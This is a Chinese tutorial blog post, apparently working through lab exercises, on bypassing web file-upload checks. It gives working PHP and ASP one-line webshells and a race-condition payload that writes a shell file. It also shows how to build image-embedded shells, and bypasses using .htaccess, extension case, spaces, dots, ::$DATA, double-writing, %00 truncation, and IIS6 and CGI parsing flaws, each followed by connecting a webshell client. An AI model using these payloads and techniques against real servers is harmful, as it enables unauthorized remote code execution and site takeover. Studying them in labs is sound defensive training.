文件上传漏洞 — 解析、验证、伪造

绕过黑名单

前端验证绕过

看看前段白名单允许上传什么后缀名的文件

写个一句话木马,后缀名改成白名单里的后缀名

<?php eval($_REQUEST['a'])?>

 

 上传时抓包修改后缀名为对应的脚本语言

 

复制图片地址打开,在还没输入传参看看有没有传入成功

?a=phpinfo();

复制地址使用菜刀连接即可

 菜刀小科普:连接的地址后面填的就是一句话木马里传入的参数

 Content-Type方式绕过(白名单绕过)

文件类型被限定在白名单内了,不用白名单内的限定类型你绕不过去

想知道限定了什么,很简单,把所有的后缀名全部上传一下,能成功就是白名单内的

文件类型是固定的,如果修改掉,后端检测不到,也会不允许上传

常见类型:https://blog.csdn.net/qq_24147051/article/details/90477756

和刚刚的流程一样,上传——修改后缀名——传参——连接菜刀

 

 

 

 黑名单绕过

黑白名单机制:

  黑名单:不允许上传什么

  白名单:只允许上传什么

  白名单比黑名单更安全

 

服务端检测几个常见的手段:

  检查Content-Type (内容类型)

  检查后缀  (检查后缀是主流)

  检查文件头

 

如何绕过Content-Type (内容类型)和文件头检测,这个时候我们就要去制作一个图片马了

图片马的制作很简单,写一个一句话木马放在txt文件然后找一张你喜欢的图片(注意文件大小,越小越好)

然后打开cmd 

copy a.jpg/b + 1.txt 123.jpg

 
(将a.jpg和1.txt 合并为123.jpg  )

 图片是什么后缀名,图片马生成就是什么后缀名,如果不同则无法使用

 上传——修改后缀名——传参——连接菜刀

随便上传一个文件,看报错就知道不允许上传什么后缀文件类型了

 修改拓展名让它可以被解析

如果默认状态下.php3,.php4,.php5,.phtml 都是会被解析为php

 

图片马可以很好的绕过内容类型和文件头

 

htaccess文件绕过

.htaccess是什么?  .htaccess文件也被成为分布式配置文件,提供了针对目录改变配置的方法,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。

.htaccess功能:

文件夹密码保护、用户自定义重定向、自定义404页面、扩展名伪静态化、禁止特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表

很可惜,这么一个强大的功能默认是不开启的

反正上传的时候顺手试试就行了

写个文档往里面写这个

AddType application/x-httpd-php .jpg    这个指令代表着.jpg文件会当做php来解析

看看网站支持什么上传你就添加什么上传格式

你需要解析图片马什么就添加什么句式,比如我需要解析,jpg和png(你如果上传一个jpg的马连不上你就可以上传png的来连了)

多样支持终究是好的

 

 

先上传这个.htaccess文件

因为我写了jpg和png两个格式所以都可以传参解析

 后缀大小写绕过

我们可以通过大小写去绕过。WEB容器除非非常老的版本,不然都不区分大小写

 改成小写的php不允许上传,那我们试试看大写的

 

 

 大写的明显可以

文件后缀(空)绕过

在文件名后面留一个空格,然后上传上去后空格会被自动的省略,但是看源码可知道,源码中黑名单中没有过滤空值,那么phpphp. ,当然是不一样的

 

一样的操作步骤,加多了一个空格

文件后缀(点)绕过

windows有一个特性,会自动去掉后缀名最后的.

 

一样的操作

::$DATA(Windows文件流绕过)

(这里利用到了NTFS交换数据流(ADS),ADS是NTFS磁盘格式的一个特性,在NTFS文件系统下,每个文件都可以存在多个数据流。通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。)

 

  我们肯定不懂这个意思是什么,我们先在CMD运行一个(藏文件的小福利)

可以看到Hello World被写入到1.TXT里面了

我们再来生成一个·文件

哎~ 里面的Hello World不见了,其实是a.txt挂在1.txt上面了,用dir /R查看

使用notepad可以查看

 

 

 

  ::$DATA就是默认不修改文件流的情况

利用windows特性,可在后缀名中加” ::$DATA”绕过

 因为::$DATA它本身就不存在,所以需要去掉才能传参

构造文件后缀绕过

我们可以尝试构建一个. . (前面去掉.然后检验.不存在,再去空格,留下php.,然后php.不属于$deny_ext数组中存在的,当然就直接提交了,然后因为windows自动去点,于是乎php后缀就出来了,因为开发只有一次校验所以可以绕过

 

 

双写文件后缀绕过

有些网站校验检测到的危险字符替换为空,php被替换为空是空,那么pphphp被替换为空就会变为php,不就达到了绕过

也是因为开发没有二次校验所以可以采用这种方式

慢慢尝试看看什么会被替换成空,要么就是从右往左校验(pphphp),要么就是从左往右校验(phphpp

 

绕白名单

%00截断绕过

PHP5.3以下版本可以使用(前提是有URL编码的post传参下)

在../upload/后面拼凑%00,在保存的路径上面加上截断之后,解析到php  遇到00 截断就不会往下解析了

所以就会把原来的jpg文件当成是php处理


 

%00截断绕过(二) 

%00=URL编码后的东西、如果它不能被解析那就没有意义了

这个东西和第一个截断很像,无非就是变成了POST方式提交save_path,问题在于POST方式我们用%00却失效了,这是因为正常情况下POST传参并不会URL解码,所以需要我们该Hex改为00

我们传参一个a(或者你熟悉的hex编码的)Hex解码%61>>a      Hex解码%66>>f 随便都行,反正关键是你能找到然后改成00

 

 

图片马绕过

https://blog.csdn.net/qq_37872337/article/details/1067以为30736

要配合解析漏洞使用,直接上传马然后/.php解析就行了

 

 

 

getimagesize图片类型绕过

要配合解析漏洞使用,直接上传马然后/.php解析就行了

https://blog.csdn.net/weixin_43915842/article/details/90183305?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522159262417319724843359826%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=159262417319724843359826&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v3~pc_rank_v3-6-90183305.first_rank_ecpm_v3_pc_rank_v3&utm_term=getimagesize%E5%9B%BE%E7%89%87

 

php_exif模块图片类型绕过

要配合解析漏洞使用,直接上传马然后/.php解析就行了

 

 

二次渲染绕过

先上传一张图片马(要GIF格式的,因为不麻烦)

然后保存到你的电脑,用编辑器或者记事本打开拉到最后一行看看还有没有一句话木马

明显没有了,然后我们对比一下原来上传的图片马哪里没有被改动就在哪里插入一句话

我对比到前十行没有被改动,我在第四行加入一句话

然后我们直接上传,复制图片地址打开

在后面加上

/.php?a=phpinfo();

 

条件竞争

竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。
线程同步机制确保两个及以上的并发进程或线程不同时执行某些特定的程序段,也被称之为临界区(critical section),如果没有应用好同步技术则会发生“竞争条件”问题。

开发者在进行代码开发时常常倾向于认为代码会以线性的方式执行,而且他们忽视了并行服务器会并发执行多个线程,这就会导致意想不到的结果。比如当我们上传一个文件,但是因为过滤原因或其他原因被删除,那么我们实际上就是和UNlink 删除文件函数竞争;
假如我不断发包,在删除函数还没执行前,我们已经先把里面代码执行完毕了,那我们可不可以上传一个php,执行后,通过php里面代码去写一个马:

https://blog.csdn.net/qq_36618918/article/details/106689214?%3E?ops_request_misc=&request_id=&biz_id=102&utm_term=php_exif%E6%A8%A1%E5%9D%97%E5%9B%BE%E7%89%87&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-2-106689214

https://blog.csdn.net/wsnbbz/article/details/104651408/

写个图片马合成

<?php $a='<?php @eval($_REQUEST[\'a\'])?>';file_put_contents('1.php',$a) ?>

剖析:访问到$a就写入一个1.php文件

 

先传一张图片看看路径传到哪里去了

看到传入到/upload/文件夹里去了 ,然后我们把开始合成的图片马给上传并且抓到包(这里我直接用PHP后缀了,就不用改了)

 

 

开始交叉跑包:

 如果你运气够好,会在目录下生成的

 

 

 

move_uploaded_file()截断

先上传一张图片马,看看保存的路径在哪里

 

明显保存在upload-19.jpg里

我们抓个包截断这个文件即可

在.jpg前面加上.phpa

然后找到a的hex编码改成00放包

复制图片地址打开

因为到a就已经被截断了后面的.jpg已经没有用了,所以去掉后面的.jpg加上传参

 

IIS6.0解析漏洞(一)

"asa","cer","cdx"

在IIS6.0里默认设置里被当做asp执行

先合成一张asp的马

一句话木马ASP

<%eval request("chopper")%>
       函数            密码

然后copy合成一下就行了

接下来上传将上传图片后缀改成asa

 

然后它就会跳转到一个页面 复制文件储存路径访问到网址后面访问

 

 

 

接下来用菜刀连接即可

IIS6.0解析漏洞(二) 

同样的上传一下asp的马

然后进行分号截断

asp;.jpg

 

复制地址打开

 

用菜刀连接一下看看

成功连接

PS:可以通过修改文件夹时间来达到隐藏图片马的目的

IIS6.0解析漏洞(三)

直接上传发现图片马被解析了

 

 

 

仔细看一下目录 文件存储在: ./c/image/a.asp/1592546383.jpg

文件夹名字如果是xxx.asp那么那个文件夹下的任意文件都会被当做asp来执行了

CGI解析漏洞

CGI有一个解析漏洞,只需要我们上传完成图片马,然后在url后面加一个/.php,CGI解析漏洞会把我们上传的图片当作php来解析

先上传一个马

复制图片地址打开

 

 

加上/.php进行解析

连接菜刀

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值